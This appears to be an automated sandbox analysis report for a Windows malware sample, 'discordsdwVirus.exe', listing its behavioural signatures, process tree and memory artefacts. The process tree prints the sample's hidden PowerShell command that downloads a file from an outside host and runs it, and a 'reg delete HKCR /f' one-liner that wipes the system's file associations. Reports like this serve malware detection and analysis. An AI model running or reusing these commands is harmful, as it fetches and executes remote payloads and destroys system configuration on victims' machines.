Analysis

  • max time kernel
    53s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/10/2026, 15:22

General

  • Target
    discordsdwVirus.exe
  • Size 41KB
  • Sample261001-sr14fafa74
  • SHA256 685053587c9e3569510b80181701e454e9f2247a0cdcf99f31d00c9710f558f4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Modifies system executable filetype association 2 TTPs 34 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\discordsdwVirus.exe
    "C:\Users\Admin\AppData\Local\Temp\discordsdwVirus.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3848
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:4620
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x4bc 0x324
    1⤵
      PID:1136

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          __PSScriptPolicyTest_glr211xo.3bu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glr211xo.3bu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2868-0-0x0000000000D20000-0x0000000000D30000-memory.dmp

          memory/2868-1-0x0000000002E70000-0x0000000002E80000-memory.dmp

          memory/2868-2-0x0000000002E70000-0x0000000002E80000-memory.dmp

          memory/3848-7-0x000002A46A1E0000-0x000002A46A1F0000-memory.dmp

          memory/3848-6-0x000002A46A1E0000-0x000002A46A1F0000-memory.dmp

          memory/3848-13-0x000002A46A020000-0x000002A46A042000-memory.dmp

          memory/3848-16-0x000002A46A1E0000-0x000002A46A1F0000-memory.dmp

          memory/3848-17-0x000002A46A1E0000-0x000002A46A1F0000-memory.dmp

          memory/3848-18-0x000002A46A1E0000-0x000002A46A1F0000-memory.dmp